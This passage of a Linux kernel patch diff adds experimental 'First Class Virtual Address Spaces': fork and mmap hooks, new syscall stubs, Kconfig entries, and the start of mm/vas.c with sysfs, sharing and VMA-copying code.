-	retval = copy_namespaces(clone_flags, p);
+	retval = vas_clone(clone_flags, p);
 	if (retval)
 		goto bad_fork_cleanup_mm;
+	retval = copy_namespaces(clone_flags, p);
+	if (retval)
+		goto bad_fork_cleanup_vas;
 	retval = copy_io(clone_flags, p);
 	if (retval)
 		goto bad_fork_cleanup_namespaces;
@@ -1885,6 +1909,8 @@ static __latent_entropy struct task_struct *copy_process(
 		exit_io_context(p);
 bad_fork_cleanup_namespaces:
 	exit_task_namespaces(p);
+bad_fork_cleanup_vas:
+	vas_exit(p);
 bad_fork_cleanup_mm:
 	if (p->mm)
 		mmput(p->mm);
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 8acef8576ce9..f6f83c5ec1a1 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -258,3 +258,14 @@ cond_syscall(sys_membarrier);
 cond_syscall(sys_pkey_mprotect);
 cond_syscall(sys_pkey_alloc);
 cond_syscall(sys_pkey_free);
+
+/* first class virtual address spaces */
+cond_syscall(sys_vas_create);
+cond_syscall(sys_vas_delete);
+cond_syscall(sys_vas_find);
+cond_syscall(sys_vas_attach);
+cond_syscall(sys_vas_detach);
+cond_syscall(sys_vas_switch);
+cond_syscall(sys_active_vas);
+cond_syscall(sys_vas_getattr);
+cond_syscall(sys_vas_setattr);
diff --git a/mm/Kconfig b/mm/Kconfig
index 9b8fccb969dc..9a80877f3536 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -707,3 +707,23 @@ config ARCH_USES_HIGH_VMA_FLAGS
 	bool
 config ARCH_HAS_PKEYS
 	bool
+
+config VAS
+	bool "Support for First Class Virtual Address Spaces"
+	default n
+	help
+	  Support for First Class Virtual Address Spaces which are address space
+	  that are not bound to the lifetime of any process but can exist
+	  independently in the system. With this feature processes are allowed
+	  to have multiple different address spaces between which their threads
+	  can switch arbitrarily.
+
+	  If not sure, then say N.
+
+config VAS_DEBUG
+	bool "Debugging output for First Class Virtual Address Spaces"
+	depends on VAS
+	default n
+	help
+	  Enable extensive debugging output for the First Class Virtual Address
+	  Spaces feature.
diff --git a/mm/Makefile b/mm/Makefile
index 295bd7a9f76b..ba8995e944d7 100644
--- a/mm/Makefile
+++ b/mm/Makefile
@@ -100,3 +100,4 @@ obj-$(CONFIG_IDLE_PAGE_TRACKING) += page_idle.o
 obj-$(CONFIG_FRAME_VECTOR) += frame_vector.o
 obj-$(CONFIG_DEBUG_PAGE_REF) += debug_page_ref.o
 obj-$(CONFIG_HARDENED_USERCOPY) += usercopy.o
+obj-$(CONFIG_VAS)	+= vas.o
diff --git a/mm/internal.h b/mm/internal.h
index e22cb031b45b..f947e8c50bae 100644
--- a/mm/internal.h
+++ b/mm/internal.h
@@ -499,4 +499,12 @@ extern const struct trace_print_flags pageflag_names[];
 extern const struct trace_print_flags vmaflag_names[];
 extern const struct trace_print_flags gfpflag_names[];
 
+#ifdef CONFIG_VAS
+void mm_updated(struct mm_struct *mm);
+void vm_area_updated(struct vm_area_struct *vma);
+#else
+static inline void mm_updated(struct mm_struct *mm) {}
+static inline void vm_area_updated(struct vm_area_struct *vma) {}
+#endif
+
 #endif	/* __MM_INTERNAL_H */
diff --git a/mm/memory.c b/mm/memory.c
index 7026f2146fcd..e4747b3fd5b9 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -4042,6 +4042,9 @@ int handle_mm_fault(struct vm_area_struct *vma, unsigned long address,
 				&& test_bit(MMF_UNSTABLE, &vma->vm_mm->flags)))
 		ret = VM_FAULT_SIGBUS;
 
+	if (ret)
+		vm_area_updated(vma);
+
 	return ret;
 }
 EXPORT_SYMBOL_GPL(handle_mm_fault);
diff --git a/mm/mmap.c b/mm/mmap.c
index d35c6b51cadf..1d82b2260448 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -44,6 +44,7 @@
 #include <linux/userfaultfd_k.h>
 #include <linux/moduleparam.h>
 #include <linux/pkeys.h>
+#include <linux/timekeeping.h>
 
 #include <linux/uaccess.h>
 #include <asm/cacheflush.h>
@@ -942,6 +943,7 @@ int __vma_adjust(struct vm_area_struct *vma, unsigned long start,
 		uprobe_mmap(insert);
 
 	validate_mm(mm);
+	vm_area_updated(vma);
 
 	return 0;
 }
@@ -1135,6 +1137,7 @@ struct vm_area_struct *vma_merge(struct mm_struct *mm,
 		if (err)
 			return NULL;
 		khugepaged_enter_vma_merge(prev, vm_flags);
+		vm_area_updated(prev);
 		return prev;
 	}
 
@@ -1162,6 +1165,7 @@ struct vm_area_struct *vma_merge(struct mm_struct *mm,
 		if (err)
 			return NULL;
 		khugepaged_enter_vma_merge(area, vm_flags);
+		vm_area_updated(area);
 		return area;
 	}
 
@@ -1719,6 +1723,7 @@ unsigned long mmap_region(struct mm_struct *mm, struct file *file,
 	vma->vm_flags |= VM_SOFTDIRTY;
 
 	vma_set_page_prot(vma);
+	vm_area_updated(vma);
 
 	return addr;
 
@@ -2263,6 +2268,7 @@ int expand_upwards(struct vm_area_struct *vma, unsigned long address)
 	anon_vma_unlock_write(vma->anon_vma);
 	khugepaged_enter_vma_merge(vma, vma->vm_flags);
 	validate_mm(mm);
+	vm_area_updated(vma);
 	return error;
 }
 #endif /* CONFIG_STACK_GROWSUP || CONFIG_IA64 */
@@ -2332,6 +2338,7 @@ int expand_downwards(struct vm_area_struct *vma,
 	anon_vma_unlock_write(vma->anon_vma);
 	khugepaged_enter_vma_merge(vma, vma->vm_flags);
 	validate_mm(mm);
+	vm_area_updated(vma);
 	return error;
 }
 
@@ -2457,6 +2464,7 @@ void munmap_region(struct mm_struct *mm, struct vm_area_struct *vma,
 	free_pgtables(&tlb, vma, prev ? prev->vm_end : FIRST_USER_ADDRESS,
 				 next ? next->vm_start : USER_PGTABLES_CEILING);
 	tlb_finish_mmu(&tlb, start, end);
+	mm_updated(mm);
 }
 
 /*
@@ -2656,6 +2664,7 @@ int do_munmap(struct mm_struct *mm, unsigned long start, size_t len)
 
 	/* Fix up all other VM information */
 	remove_vma_list(mm, vma);
+	mm_updated(mm);
 
 	return 0;
 }
@@ -2882,6 +2891,7 @@ static int do_brk(unsigned long addr, unsigned long request)
 	if (flags & VM_LOCKED)
 		mm->locked_vm += (len >> PAGE_SHIFT);
 	vma->vm_flags |= VM_SOFTDIRTY;
+	vm_area_updated(vma);
 	return 0;
 }
 
@@ -3058,6 +3068,7 @@ struct vm_area_struct *copy_vma(struct vm_area_struct **vmap,
 		vma_link(mm, new_vma, prev, rb_link, rb_parent);
 		*need_rmap_locks = false;
 	}
+	vm_area_updated(new_vma);
 	return new_vma;
 
 out_free_mempol:
@@ -3204,6 +3215,7 @@ static struct vm_area_struct *__install_special_mapping(
 	vm_stat_account(mm, vma->vm_flags, len >> PAGE_SHIFT);
 
 	perf_event_mmap(vma);
+	vm_area_updated(vma);
 
 	return vma;
 
@@ -3550,3 +3562,13 @@ static int __meminit init_reserve_notifier(void)
 	return 0;
 }
 subsys_initcall(init_reserve_notifier);
+
+void mm_updated(struct mm_struct *mm)
+{
+	mm->vas_last_update = ktime_get();
+}
+
+void vm_area_updated(struct vm_area_struct *vma)
+{
+	vma->vas_last_update = vma->vm_mm->vas_last_update = ktime_get();
+}
diff --git a/mm/vas.c b/mm/vas.c
new file mode 100644
index 000000000000..447d61e1da79
--- /dev/null
+++ b/mm/vas.c
@@ -0,0 +1,2188 @@
+/*
+ *  First Class Virtual Address Spaces
+ *  Copyright (c) 2016-2017, Hewlett Packard Enterprise
+ *
+ *  Code Authors:
+ *     Marco A Benatto <marco.antonio.780@gmail.com>
+ *     Till Smejkal <till.smejkal@gmail.com>
+ */
+
+
+#include <linux/vas.h>
+
+#include <linux/atomic.h>
+#include <linux/cred.h>
+#include <linux/errno.h>
+#include <linux/export.h>
+#include <linux/fcntl.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kobject.h>
+#include <linux/ktime.h>
+#include <linux/list.h>
+#include <linux/lockdep.h>
+#include <linux/mempolicy.h>
+#include <linux/mm.h>
+#include <linux/mman.h>
+#include <linux/mmu_context.h>
+#include <linux/mmu_notifier.h>
+#include <linux/mutex.h>
+#include <linux/printk.h>
+#include <linux/rbtree.h>
+#include <linux/rcupdate.h>
+#include <linux/rmap.h>
+#include <linux/rwsem.h>
+#include <linux/sched.h>
+#include <linux/slab.h>
+#include <linux/spinlock.h>
+#include <linux/stat.h>
+#include <linux/string.h>
+#include <linux/syscalls.h>
+#include <linux/uidgid.h>
+#include <linux/uaccess.h>
+#include <linux/vmacache.h>
+
+#include <asm/mman.h>
+#include <asm/processor.h>
+
+#include "internal.h"
+
+
+/***
+ * Internally used defines
+ ***/
+
+/**
+ * Make sure we are not overflowing the VAS sharing variable.
+ **/
+#define VAS_MAX_SHARES U16_MAX
+
+#define VAS_MAX_ID INT_MAX
+
+/**
+ * Masks and bits to implement sharing of VAS.
+ **/
+#define VAS_SHARE_READABLE (1 << 0)
+#define VAS_SHARE_WRITABLE (1 << 16)
+#define VAS_SHARE_READ_MASK 0xffff
+#define VAS_SHARE_WRITE_MASK 0xffff0000
+#define VAS_SHARE_READ_WRITE_MASK (VAS_SHARE_READ_MASK | VAS_SHARE_WRITE_MASK)
+
+/**
+ * Get the next vm_area_struct of the VMA list in the memory map but safely.
+ **/
+#define next_vma_safe(vma) ((vma) ? (vma)->vm_next : NULL)
+
+/**
+ * Get a string representation of the access type to a VAS.
+ **/
+#define access_type_str(type) ((type) & MAY_WRITE ?			\
+			       ((type) & MAY_READ ? "rw" : "wo") : "ro")
+
+
+/***
+ * Debugging functions
+ ***/
+
+#ifdef CONFIG_VAS_DEBUG
+
+/**
+ * Dump the content of the given memory map.
+ *
+ * @param mm:		The memory map which should be dumped.
+ **/
+static void __dump_memory_map(const char *title, struct mm_struct *mm)
+{
+	int count;
+	struct vm_area_struct *vma;
+
+	down_read(&mm->mmap_sem);
+
+	/* Dump some general information. */
+	pr_info("-- %s [%p] --\n"
+		"> General information <\n"
+		"  PGD value: %#lx\n"
+		"  Task size: %#lx\n"
+		"  Map count: %d\n"
+		"  Last update: %lld\n"
+		"  Code:  %#lx - %#lx\n"
+		"  Data:  %#lx - %#lx\n"
+		"  Heap:  %#lx - %#lx\n"
+		"  Stack: %#lx\n"
+		"  Args:  %#lx - %#lx\n"
+		"  Env:   %#lx - %#lx\n",
+		title, mm, pgd_val(*mm->pgd), mm->task_size, mm->map_count,
+		mm->vas_last_update, mm->start_code, mm->end_code,
+		mm->start_data, mm->end_data, mm->start_brk, mm->brk,
+		mm->start_stack, mm->arg_start, mm->arg_end, mm->env_start,
+		mm->env_end);
+
+	/* Dump current RSS state counters of the memory map. */
+	pr_cont("> RSS Counter <\n");
+	for (count = 0; count < NR_MM_COUNTERS; ++count)
+		pr_cont(" %d: %lu\n", count, get_mm_counter(mm, count));
+
+	/* Dump the information for each region. */
+	pr_cont("> Mapped Regions <\n");
+	for (vma = mm->mmap, count = 0; vma; vma = vma->vm_next, ++count) {
+		pr_cont("  VMA %3d: %#14lx - %#-14lx", count, vma->vm_start,
+			vma->vm_end);
+
+		if (is_exec_mapping(vma->vm_flags))
+			pr_cont(" EXEC  ");
+		else if (is_data_mapping(vma->vm_flags))
+			pr_cont(" DATA  ");
+		else if (is_stack_mapping(vma->vm_flags))
+			pr_cont(" STACK ");
+		else
+			pr_cont(" OTHER ");
+
+		pr_cont("%c%c%c%c [%c]",
+			vma->vm_flags & VM_READ ? 'r' : '-',
+			vma->vm_flags & VM_WRITE ? 'w' : '-',
+			vma->vm_flags & VM_EXEC ? 'x' : '-',
+			vma->vm_flags & VM_MAYSHARE ? 's' : 'p',
+			vma->vas_reference ? 'v' : '-');
+
+		if (vma->vm_file) {
+			struct file *f = vma->vm_file;
+			char *buf;
+
+			buf = kmalloc(PATH_MAX, GFP_TEMPORARY);
+			if (buf) {
+				char *p;
+
+				p = file_path(f, buf, PATH_MAX);
+				if (IS_ERR(p))
+					p = "?";
+
+				pr_cont(" --> %s @%lu\n", p, vma->vm_pgoff);
+				kfree(buf);
+			} else {
+				pr_cont(" --> NA @%lu\n", vma->vm_pgoff);
+			}
+		} else if (vma->vm_ops && vma->vm_ops->name) {
+			pr_cont(" --> %s\n", vma->vm_ops->name(vma));
+		} else {
+			pr_cont(" ANON\n");
+		}
+	}
+	if (count == 0)
+		pr_cont("  EMPTY\n");
+
+	up_read(&mm->mmap_sem);
+}
+
+#define pr_vas_debug(fmt, args...) pr_info("[VAS] %s - " fmt, __func__, ##args)
+#define dump_memory_map(title, mm) __dump_memory_map(title, mm)
+
+#else /* CONFIG_VAS_DEBUG */
+
+#define pr_vas_debug(...) do {} while (0)
+#define dump_memory_map(...) do {} while (0)
+
+#endif /* CONFIG_VAS_DEBUG */
+
+/***
+ * Internally used variables
+ ***/
+
+/**
+ * All SLAB caches used to improve allocation performance.
+ **/
+static struct kmem_cache *vas_cachep;
+static struct kmem_cache *att_vas_cachep;
+static struct kmem_cache *vas_context_cachep;
+
+/**
+ * Global management data structures and their associated locks.
+ **/
+static struct idr vases;
+static spinlock_t vases_lock;
+
+/**
+ * The place holder variables that are used to identify to-be-deleted items in
+ * our global management data structures.
+ **/
+static struct vas *INVALID_VAS;
+
+/**
+ * Kernel 'ksets' where all objects will be managed.
+ **/
+static struct kset *vases_kset;
+
+
+/***
+ * Constructors and destructors for the data structures.
+ ***/
+static inline struct vm_area_struct *__new_vm_area(void)
+{
+	return kmem_cache_zalloc(vm_area_cachep, GFP_ATOMIC);
+}
+
+static inline void __delete_vm_area(struct vm_area_struct *vma)
+{
+	kmem_cache_free(vm_area_cachep, vma);
+}
+
+static inline struct vas *__new_vas(void)
+{
+	return kmem_cache_zalloc(vas_cachep, GFP_KERNEL);
+}
+
+static inline void __delete_vas(struct vas *vas)
+{
+	WARN_ON(vas->refcount != 0);
+
+	mutex_destroy(&vas->mtx);
+
+	if (vas->mm)
+		mmput_async(vas->mm);
+	kmem_cache_free(vas_cachep, vas);
+}
+
+static inline void __delete_vas_rcu(struct rcu_head *rp)
+{
+	struct vas *vas = container_of(rp, struct vas, rcu);
+
+	__delete_vas(vas);
+}
+
+static inline struct att_vas *__new_att_vas(void)
+{
+	return kmem_cache_zalloc(att_vas_cachep, GFP_ATOMIC);
+}
+
+static inline void __delete_att_vas(struct att_vas *avas)
+{
+	if (avas->mm)
+		mmput_async(avas->mm);
+	kmem_cache_free(att_vas_cachep, avas);
+}
+
+static inline struct vas_context *__new_vas_context(void)
+{
+	return kmem_cache_zalloc(vas_context_cachep, GFP_KERNEL);
+}
+
+static inline void __delete_vas_context(struct vas_context *ctx)
+{
+	WARN_ON(ctx->refcount != 0);
+
+	kmem_cache_free(vas_context_cachep, ctx);
+}
+
+/***
+ * Kobject management of data structures
+ ***/
+
+/**
+ * Correctly take and put VAS.
+ **/
+static inline struct vas *__vas_get(struct vas *vas)
+{
+	return container_of(kobject_get(&vas->kobj), struct vas, kobj);
+}
+
+static inline void __vas_put(struct vas *vas)
+{
+	kobject_put(&vas->kobj);
+}
+
+/**
+ * The sysfs structure we need to handle attributes of a VAS.
+ **/
+struct vas_sysfs_attr {
+	struct attribute attr;
+	ssize_t (*show)(struct vas *vas, struct vas_sysfs_attr *vsattr,
+			char *buf);
+	ssize_t (*store)(struct vas *vas, struct vas_sysfs_attr *vsattr,
+			 const char *buf, size_t count);
+};
+
+#define VAS_SYSFS_ATTR(NAME, MODE, SHOW, STORE)				\
+static struct vas_sysfs_attr vas_sysfs_attr_##NAME =			\
+	__ATTR(NAME, MODE, SHOW, STORE)
+
+/**
+ * Functions for all the sysfs operations.
+ **/
+static ssize_t __vas_sysfs_attr_show(struct kobject *kobj,
+				     struct attribute *attr,
+				     char *buf)
+{
+	struct vas *vas;
+	struct vas_sysfs_attr *vsattr;
+
+	vas = container_of(kobj, struct vas, kobj);
+	vsattr = container_of(attr, struct vas_sysfs_attr, attr);
+
+	if (!vsattr->show)
+		return -EIO;
+
+	return vsattr->show(vas, vsattr, buf);
+}
+
+static ssize_t __vas_sysfs_attr_store(struct kobject *kobj,
+				      struct attribute *attr,
+				      const char *buf, size_t count)
+{
+	struct vas *vas;
+	struct vas_sysfs_attr *vsattr;
+
+	vas = container_of(kobj, struct vas, kobj);
+	vsattr = container_of(attr, struct vas_sysfs_attr, attr);
+
+	if (!vsattr->store)
+		return -EIO;
+
+	return vsattr->store(vas, vsattr, buf, count);
+}
+
+/**
+ * The sysfs operations structure for a VAS.
+ **/
+static const struct sysfs_ops vas_sysfs_ops = {
+	.show = __vas_sysfs_attr_show,
+	.store = __vas_sysfs_attr_store,
+};
+
+/**
+ * Default attributes of a VAS.
+ **/
+static ssize_t __show_vas_name(struct vas *vas, struct vas_sysfs_attr *vsattr,
+			       char *buf)
+{
+	return scnprintf(buf, PAGE_SIZE, "%s", vas->name);
+}
+VAS_SYSFS_ATTR(name, 0444, __show_vas_name, NULL);
+
+static ssize_t __show_vas_mode(struct vas *vas, struct vas_sysfs_attr *vsattr,
+			       char *buf)
+{
+	return scnprintf(buf, PAGE_SIZE, "%#03o", vas->mode);
+}
+VAS_SYSFS_ATTR(mode, 0444, __show_vas_mode, NULL);
+
+static ssize_t __show_vas_user(struct vas *vas, struct vas_sysfs_attr *vsattr,
+			       char *buf)
+{
+	struct user_namespace *ns = current_user_ns();
+
+	return scnprintf(buf, PAGE_SIZE, "%d", from_kuid(ns, vas->uid));
+}
+VAS_SYSFS_ATTR(user, 0444, __show_vas_user, NULL);
+
+static ssize_t __show_vas_group(struct vas *vas, struct vas_sysfs_attr *vsattr,
+				char *buf)
+{
+	struct user_namespace *ns = current_user_ns();
+
+	return scnprintf(buf, PAGE_SIZE, "%d", from_kgid(ns, vas->gid));
+}
+VAS_SYSFS_ATTR(group, 0444, __show_vas_group, NULL);
+
+static struct attribute *vas_default_attr[] = {
+	&vas_sysfs_attr_name.attr,
+	&vas_sysfs_attr_mode.attr,
+	&vas_sysfs_attr_user.attr,
+	&vas_sysfs_attr_group.attr,
+	NULL
+};
+
+/**
+ * Function to release the VAS after its kobject is gone.
+ **/
+static void __vas_release(struct kobject *kobj)
+{
+	struct vas *vas = container_of(kobj, struct vas, kobj);
+
+	spin_lock(&vases_lock);
+	idr_remove(&vases, vas->id);
+	spin_unlock(&vases_lock);
+
+	/*
+	 * Wait for the full RCU grace period before actually deleting the VAS
+	 * data structure since we haven't done it earlier.
+	 */
+	call_rcu(&vas->rcu, __delete_vas_rcu);
+}
+
+/**
+ * The ktype data structure representing a VAS.
+ **/
+static struct kobj_type vas_ktype = {
+	.sysfs_ops = &vas_sysfs_ops,
+	.release = __vas_release,
+	.default_attrs = vas_default_attr,
+};
+
+
+/***
+ * Internally visible functions
+ ***/
+
+/**
+ * Working with the global VAS list.
+ **/
+static inline void vas_remove(struct vas *vas)
+{
+	spin_lock(&vases_lock);
+
+	/*
+	 * Only put the to-be-deleted place holder in the IDR, the actual remove
+	 * in the IDR and the freeing of the object  will be done when we
+	 * release the kobject. We need to do it this way, to keep the ID
+	 * reserved. Otherwise it can happen, that we try to create a new VAS
+	 * with a reused ID in the sysfs before the current VAS is removed from
+	 * the sysfs.
+	 */
+	idr_replace(&vases, INVALID_VAS, vas->id);
+	spin_unlock(&vases_lock);
+
+	/*
+	 * No need to wait for the RCU period here, we will do it before
+	 * actually deleting the VAS in the 'vas_release' function.
+	 */
+	__vas_put(vas);
+}
+
+static inline int vas_insert(struct vas *vas)
+{
+	int ret;
+
+	/* Add the VAS in the IDR cache. */
+	spin_lock(&vases_lock);
+
+	ret = idr_alloc(&vases, vas, 1, VAS_MAX_ID, GFP_KERNEL);
+
+	spin_unlock(&vases_lock);
+
+	if (ret < 0) {
+		__delete_vas(vas);
+		return ret;
+	}
+
+	/* Add the last data to the VAS' data structure. */
+	vas->id = ret;
+	vas->kobj.kset = vases_kset;
+
+	/* Initialize the kobject and add it to the sysfs. */
+	ret = kobject_init_and_add(&vas->kobj, &vas_ktype, NULL, "%d", vas->id);
+	if (ret != 0) {
+		vas_remove(vas);
+		return ret;
+	}
+
+	/* The VAS is ready, trigger the corresponding UEVENT. */
+	kobject_uevent(&vas->kobj, KOBJ_ADD);
+
+	/*
+	 * We don't put or get the VAS again, because its reference count will
+	 * be initialized with '1'. This will be reduced to 0 when we remove the
+	 * VAS again from the internal global management list.
+	 */
+	return 0;
+}
+
+static inline struct vas *vas_lookup(int id)
+{
+	struct vas *vas;
+
+	rcu_read_lock();
+
+	vas = idr_find(&vases, id);
+	if (vas == INVALID_VAS)
+		vas = NULL;
+	if (vas)
+		vas = __vas_get(vas);
+
+	rcu_read_unlock();
+
+	return vas;
+}
+
+static inline struct vas *vas_lookup_by_name(const char *name)
+{
+	struct vas *vas;
+	int id;
+
+	rcu_read_lock();
+
+	idr_for_each_entry(&vases, vas, id) {
+		if (vas == INVALID_VAS)
+			continue;
+
+		if (strcmp(vas->name, name) == 0)
+			break;
+	}
+
+	if (vas)
+		vas = __vas_get(vas);
+
+	rcu_read_unlock();
+
+	return vas;
+}
+
+ /**
+  * Management of the sharing of VAS.
+  **/
+static inline int vas_take_share(int type, struct vas *vas)
+{
+	int ret;
+
+	spin_lock(&vas->share_lock);
+	if (type & MAY_WRITE) {
+		if ((vas->sharing & VAS_SHARE_READ_WRITE_MASK) == 0) {
+			vas->sharing += VAS_SHARE_WRITABLE;
+			ret = 1;
+		} else
+			ret = 0;
+	} else {
+		if ((vas->sharing & VAS_SHARE_WRITE_MASK) == 0) {
+			vas->sharing += VAS_SHARE_READABLE;
+			ret = 1;
+		} else
+			ret = 0;
+	}
+	spin_unlock(&vas->share_lock);
+
+	return ret;
+}
+
+static inline void vas_put_share(int type, struct vas *vas)
+{
+	spin_lock(&vas->share_lock);
+	if (type & MAY_WRITE)
+		vas->sharing -= VAS_SHARE_WRITABLE;
+	else
+		vas->sharing -= VAS_SHARE_READABLE;
+	spin_unlock(&vas->share_lock);
+}
+
+/**
+ * Management of the memory maps.
+ **/
+static int init_vas_mm(struct vas *vas)
+{
+	struct mm_struct *mm;
+
+	mm = mm_alloc();
+	if (!mm)
+		return -ENOMEM;
+
+	mm = mm_setup(mm);
+	if (!mm)
+		return -ENOMEM;
+
+	arch_pick_mmap_layout(mm);
+
+	vas->mm = mm;
+	return 0;
+}
+
+static int init_att_vas_mm(struct att_vas *avas, struct task_struct *owner)
+{
+	struct mm_struct *mm, *orig_mm = owner->original_mm;
+
+	mm = mm_alloc();
+	if (!mm)
+		return -ENOMEM;
+
+	mm = mm_setup(mm);
+	if (!mm)
+		return -ENOMEM;
+
+	mm = mm_set_task(mm, owner, orig_mm->user_ns);
+	if (!mm)
+		return -ENOMEM;
+
+	arch_pick_mmap_layout(mm);
+
+	/* Additional setup of the memory map. */
+	set_mm_exe_file(mm, get_mm_exe_file(orig_mm));
+	mm->vas_last_update = orig_mm->vas_last_update;
+
+	avas->mm = mm;
+	return 0;
+}
+
+/**
+ * Lookup the corresponding vm_area in the referenced memory map.
+ *
+ * The function is very similar to 'find_exact_vma'. However, it can also handle
+ * cases where a VMA was resized while the referenced one wasn't or visa-versa.
+ **/
+static struct vm_area_struct *vas_find_reference(struct mm_struct *mm,
+						 struct vm_area_struct *vma)
+{
+	struct vm_area_struct *ref;
+
+	ref = find_vma(mm, vma->vm_start);
+	if (ref) {
+		/*
+		 * Ok we found VMA in the other memory map. So lets check
+		 * whether this is really the VMA we are referencing to.
+		 */
+		if (ref->vm_start == vma->vm_start &&
+		    ref->vm_end == vma->vm_end)
+			/* This is an exact match. */
+			return ref;
+
+		if (ref->vm_start != vma->vm_start &&
+		    ref->vm_end == vma->vm_end &&
+		    vma->vm_flags & VM_GROWSDOWN)
+			/* This might be the stack VMA. */
+			return ref;
+	}
+
+	return NULL;
+}
+
+/**
+ * Translate a bit field with O_* bits into fs-like bit field with MAY_* bits.
+ **/
+static inline int __build_vas_access_type(int acc_type)
+{
+	/* We are only interested in access modes. */
+	acc_type &= O_ACCMODE;
+
+	if (acc_type == O_RDONLY)
+		return MAY_READ;
+	else if (acc_type == O_WRONLY)
+		return MAY_WRITE;
+	else if (acc_type == O_RDWR)
+		return MAY_READ | MAY_WRITE;
+
+	return -1;
+}
+
+static inline int __check_permission(kuid_t uid, kgid_t gid, umode_t mode,
+				     int type)
+{
+	kuid_t cur_uid = current_uid();
+
+	/* root can do anything with a VAS. */
+	if (unlikely(uid_eq(cur_uid, GLOBAL_ROOT_UID)))
+		return 0;
+
+	if (likely(uid_eq(cur_uid, uid)))
+		mode >>= 6;
+	else if (in_group_p(gid))
+		mode >>= 3;
+
+	if ((type & ~mode & (MAY_READ | MAY_WRITE)) == 0)
+		return 0;
+	return -EACCES;
+}
+
+/**
+ * Copy a vm_area from one memory map into another one.
+ *
+ * Requires that the semaphores of the destination memory maps is taken in
+ * write-mode and the one of the source memory map at least in read-mode.
+ *
+ * @param[in] src_mm:	The memory map to which the vm_area belongs that should
+ *			be copied.
+ * @param[in] src_vma:	The vm_area that should be copied.
+ * @param[in] dst_mm:	The memory map to which the vm_area should be copied.
+ * @param[in] vm_flags:	The vm_flags that should be used for the new vm_area.
+ *
+ * @returns:		A pointer to the new vm_area on success, NULL
+ *			otherwise.
+ **/
+static inline
+struct vm_area_struct *__copy_vm_area(struct mm_struct *src_mm,
+				      struct vm_area_struct *src_vma,
+				      struct mm_struct *dst_mm,
+				      unsigned long vm_flags)
+{
+	struct vm_area_struct *vma, *prev;
+	struct rb_node **rb_link, *rb_parent;
+	int ret;
+
+	pr_vas_debug("Copying VMA - addr: %#lx - %#lx - to %p\n",
+		     src_vma->vm_start, src_vma->vm_end, dst_mm);
+
+	ret = find_vma_links(dst_mm, src_vma->vm_start, src_vma->vm_end,
+			     &prev, &rb_link, &rb_parent);
+	if (ret != 0) {
+		pr_vas_debug("Could not map VMA in the new memory map because of a conflict with a different mapping\n");
+		return NULL;
+	}
+
+	vma = __new_vm_area();
+	*vma = *src_vma;
+
+	INIT_LIST_HEAD(&vma->anon_vma_chain);
+	ret = vma_dup_policy(src_vma, vma);
+	if (ret != 0)
+		goto out_free_vma;
+	ret = anon_vma_clone(vma, src_vma);
+	if (ret != 0)
+		goto out_free_vma;
+	vma->vm_mm = dst_mm;
+	vma->vm_flags = vm_flags;
+	vma_set_page_prot(vma);
+	vma->vm_next = vma->vm_prev = NULL;
+	if (vma->vm_file)
+		get_file(vma->vm_file);
+	if (vma->vm_ops && vma->vm_ops->open)
+		vma->vm_ops->open(vma);
+	vma->vas_last_update = src_vma->vas_last_update;
+
+	vma_link(dst_mm, vma, prev, rb_link, rb_parent);
+
+	vm_stat_account(dst_mm, vma->vm_flags, vma_pages(vma));
+	if (unlikely(dup_page_range(dst_mm, vma, src_mm, src_vma)))
+		pr_vas_debug("Failed to copy page table for VMA %p from %p\n",
+			     vma, src_vma);
+
+	return vma;
+
+out_free_vma:
+	__delete_vm_area(vma);
+	return NULL;
+}
+
+/**
+ * Remove a vm_area from a given memory map.
+ *
+ * Requires that the semaphores of the memory map is taken in write-mode.
+ *
+ * @param mm:		The memory map from which the vm_area should be
+ *			removed.
+ * @param vma:		The vm_area that should be removed.
+ *
+ * @returns:		0 on success, -ERRNO otherwise.
+ **/
+static inline int __remove_vm_area(struct mm_struct *mm,
+				   struct vm_area_struct *vma)
+{
+	pr_vas_debug("Removing VMA - addr: %#lx - %#lx - from %p\n",
+		     vma->vm_start, vma->vm_end, mm);
+
+	return do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start);
+}
+
+/**
+ * Update the information of a vm_area in one particular memory map with the
+ * information of the corresponding one in another memory map.
+ *
+ * Requires that the semaphores of both memory maps are taken in write-mode.
+ *
+ * @param[in] src_mm:	The memory map to which the vm_area belongs from which
+ *			the information should be copied.
+ * @param[in] src_vma:	The vm_area from which the information should be
+ *			copied.
+ * @param[in] dst_mm:	The memory map to which the vm_area belongs to which
+ *			the information should be copied.
+ * @param[in] dst_vma:	The vm_area that should be updated if already known,
+ *			otherwise this can be NULL and will be looked up in the
+ *			destination memory map.
+ *
+ * @returns:		A pointer to the updated vm_area on success, NULL
+ *			otherwise.
+ **/
+static inline
+struct vm_area_struct *__update_vm_area(struct mm_struct *src_mm,
+					struct vm_area_struct *src_vma,
+					struct mm_struct *dst_mm,
+					struct vm_area_struct *dst_vma)
+{
+	pr_vas_debug("Updating VMA - addr: %#lx - %#lx - in %p\n",
+		     src_vma->vm_start, src_vma->vm_end, dst_mm);
+
+	/* Lookup the destination vm_area if not yet known. */
+	if (!dst_vma)
+		dst_vma = vas_find_reference(dst_mm, src_vma);
+
+	if (!dst_vma) {
+		pr_vas_debug("Cannot find corresponding memory region in destination memory map -- Abort\n");
+		dst_vma = NULL;
+	} else if (ktime_compare(src_vma->vas_last_update,
+				 dst_vma->vas_last_update) == 0) {
+		pr_vas_debug("Memory region is unchanged -- Skip\n");
+	} else if (ktime_compare(src_vma->vas_last_update,
+				 dst_vma->vas_last_update) == -1) {
+		pr_vas_debug("Memory region is stale (%lld vs %lld)-- Abort\n",
+			     src_vma->vas_last_update,
+			     dst_vma->vas_last_update);
+		dst_vma = NULL;
+	} else if (src_vma->vm_start != dst_vma->vm_start ||
+		   src_vma->vm_end != dst_vma->vm_end) {
+		/*
+		 * The VMA changed completely. We have to represent this change
+		 * in the destination memory region.
+		 */
+		struct mm_struct *orig_vas_ref = dst_vma->vas_reference;
+		unsigned long orig_vm_flags = dst_vma->vm_flags;
+
+		if (__remove_vm_area(dst_mm, dst_vma) != 0) {
+			dst_vma = NULL;
+			goto out;
+		}
+
+		dst_vma = __copy_vm_area(src_mm, src_vma, dst_mm,
+					 orig_vm_flags);
+		if (!dst_vma)
+			goto out;
+
+		dst_vma->vas_reference = orig_vas_ref;
